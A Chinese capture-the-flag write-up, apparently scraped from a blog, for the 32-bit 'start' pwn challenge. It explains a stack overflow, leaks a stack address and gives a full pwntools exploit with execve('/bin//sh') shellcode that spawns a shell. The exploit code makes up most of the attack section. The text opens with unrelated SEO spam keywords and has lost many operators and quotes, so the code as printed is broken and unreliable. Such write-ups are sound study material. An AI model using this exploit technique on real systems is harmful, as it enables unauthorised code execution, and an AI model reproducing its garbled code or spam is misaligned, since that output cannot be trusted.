做微信小程序网站,wordpress图片编辑插件下载,wordpress网站响应速度插件,漳州seo搜索引擎优化多少钱查看保护#xff1a; 32位程序保护全没开#xff0c;黑盒测试下效果#xff1a; 存在栈溢出#xff0c;那么这题的想法就是直接ret2shellcode了。IDA中看看具体流程#xff1a; 出奇的少#xff0c;这题不能看反汇编的代码#xff0c;直接去看汇编#xff1a; 主要就2个…查看保护 32位程序保护全没开黑盒测试下效果 存在栈溢出那么这题的想法就是直接ret2shellcode了。IDA中看看具体流程 出奇的少这题不能看反汇编的代码直接去看汇编 主要就2个功能通过系统调用来执行读写功能将字符串Lets start the CTF:输出然后接收用户输入。我们看到注释下标注了长度为0x14。也就是我们能刚好覆盖到返回地址但是我的shellcode有0x18个字节。根本不够执行完全部而且目前没有有用的信息来让我ret2stack。因此我们要去调试看看能不能利用什么信息 我们观察在代码的最开始会将一个esp压入栈中紧接着栈的布局将变成如此: 5个a是我输入的测试数据。ecx将和esp将指向用户输入数据的起始位置。此时esp要索引到返回地址将直接执行add esp,14h。执行完后esp将指向旧的esp 而且我们惊奇的发现这两个值相差0x4因此我们需要通过write函数将他泄露出来紧着这我们的返回地址就有了步骤shellocode就是要返回到布局的栈地址处执行。原理我讲明白了直接上exp
from pwn import *
context.log_level debug
context.arch i386io process(./start)
#io remote(node5.buuoj.cn,28971)
gdb.attach(io)
io.recv()
mov_ecx_esp 0x8048087
payload1 ba*0x14 p32(mov_ecx_esp)
io.send(payload1)leak_stack_addr u32(io.recv(4))
cur_esp leak_stack_addr0x14
print(hex(leak_stack_addr))
payload2 ba*0x14 p32(cur_esp)
shellcode
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xb
int 0x80
shellcodeasm(shellcode)print(len(shellcode))
payload2 shellcode
io.send(payload2)
pause()
#gdb.attach(io)
io.interactive()